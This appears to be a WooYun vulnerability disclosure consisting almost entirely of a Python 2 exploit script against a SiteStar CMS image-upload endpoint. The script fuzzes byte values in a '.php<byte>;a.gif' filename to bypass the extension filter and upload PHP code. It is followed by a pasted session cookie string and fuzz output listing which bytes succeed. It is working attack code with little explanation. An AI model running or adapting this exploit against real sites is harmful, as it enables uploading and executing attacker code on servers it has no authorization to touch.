WooYun.org

#D:\Python27\python.exe
#coding = utf-8
import os
import re
import sys
import random
import urllib2
import urllib
def hex_to_asc(ch):
    return '{:c}'.format(int(float.fromhex(ch)))
def rand5str(num):
    sts = ''
    char = '1234567890abcdexyz'
    for i in range(num):
        sts += random.choice(char)
    return sts
def postdata(strr):
    global sname
    sname = rand5str(8)
    data = '------WebKitFormBoundaryFz8xcpseXipPJz6Q\r\n'
    data +='Content-Disposition: form-data; name="img_name"; filename="%s.php%s;a.gif"\r\n' % (sname,strr)
    data +='Content-Type: image/gif\r\n'
    data +='\r\n'
    data +='GIF89a<script language=\'php\'>\r\n'
    data +='phpinfo();\r\n'
    data +='------WebKitFormBoundaryFz8xcpseXipPJz6Q--\r\n'
    return data
def Fuzzing(mstr,url,cookie):
    posturl  = "%s/sitestar/index.php?_m=mod_tool&_a=img_create" % url
    headers  = {
        'User-Agent' : 'Googlebot/2.1 (+http://www.google.com/bot.html)',  
	'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundaryFz8xcpseXipPJz6Q',
	'Cookie': cookie
    }
    hexstr   = hex_to_asc(mstr)
    posts    = postdata(hexstr)
    request  = urllib2.Request(posturl, posts, headers)
    response = urllib2.urlopen(request)
    htmls    = response.read()
    response.close()
    
    fuzzurl = "%s/sitestarhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/image/%s.php" % (url,sname)
    try:
        resp = urllib2.urlopen(fuzzurl)
        html = resp.read()
        reg  = re.search(r'<style type="text/css">',html)
        if reg is not None:
            print '%%%s is --> OK..' % mstr
    except:
        print '%%%s is -> No..' % mstr
if __name__=="__main__":
    if len(sys.argv)<4:
        print '\n  sitestar_upload.py -u <url> -c <cookie>'
        os._exit(0)
    url = sys.argv[2]
    cookie = sys.argv[4]
    if 'http://' not in url:
        url = 'http://%s'%url
    
    for i in range(100):
        s = '%02d' % i
        Fuzzing(s,url,cookie)

Rya5_2132_ulastactivity=f6159i9gE3RqKLgf5IFeEYMgRbch8XHcq8L9yjKdgdcklNzyHcuG; sYQDUGqqzHsearch_history=dd%7C3; CNZZDATA1754403=cnzz_eid%3D239727152-1385000911-http%253A%252F%252Fwww.vulns.org%26ntime%3D1385000911%26cnzz_a%3D12%26sin%3Dhttp%253A%252F%252Fwww.vulns.org%253A81%252Fgover1%252FSearch.asp%26ltime%3D1385000907409; _cnzz_CV=; language=zh-cn; A29_visitedfid=2; smile=1D1; YlsN_2132_saltkey=BCq0w3j3; YlsN_2132_lastvisit=1386810963; YlsN_2132_visitedfid=2; YlsN_2132_lastcheckfeed=1%7C1386898405; YlsN_2132_editormode_e=1; YlsN_2132_smile=1D1; K5PL3_uid=1; K5PL3_hash=0a4d70e0; YlsN_2132_ulastactivity=e35dE3Tw1Tk%2B%2B9ATPf1vuCQDDPhyih4eFcdTHjOURWXVg8tD0n%2Br; rRex_2132_saltkey=3w13193y; rRex_2132_lastvisit=1388735738; rRex_2132_ulastactivity=6b208R0hVUACRQvTjn7En9kDuyvN7ZNRftXROrgtEy6kLy8zzU4j; _mkto_trk=id:797-ENI-742&token:_mch-vulns.org-1388719339154-91284; __ar_v4=DDRUVU4CRNEHLB3NYFC2PH%3A20140102%3A2%7C5PZND6KU6RD4RAHEGDPE5S%3A20140102%3A2%7CJIFJRAFWAJHHRE57MKUYU2%3A20140102%3A2; PHPSESSID=d413af28abd2a8fd38e670cbcca23ee4

%77 is -> No..
%78 is -> No..
%79 is -> No..
%80 is --> OK..
%81 is --> OK..
%82 is --> OK..
%83 is --> OK..
%84 is --> OK..
%85 is --> OK..
%86 is --> OK..
%87 is --> OK..
%88 is --> OK..
%89 is --> OK..
%90 is --> OK..
%91 is --> OK..
%92 is --> OK..
%93 is --> OK..
%94 is --> OK..
%95 is --> OK..
%96 is --> OK..
%97 is --> OK..
%98 is --> OK..
%99 is --> OK..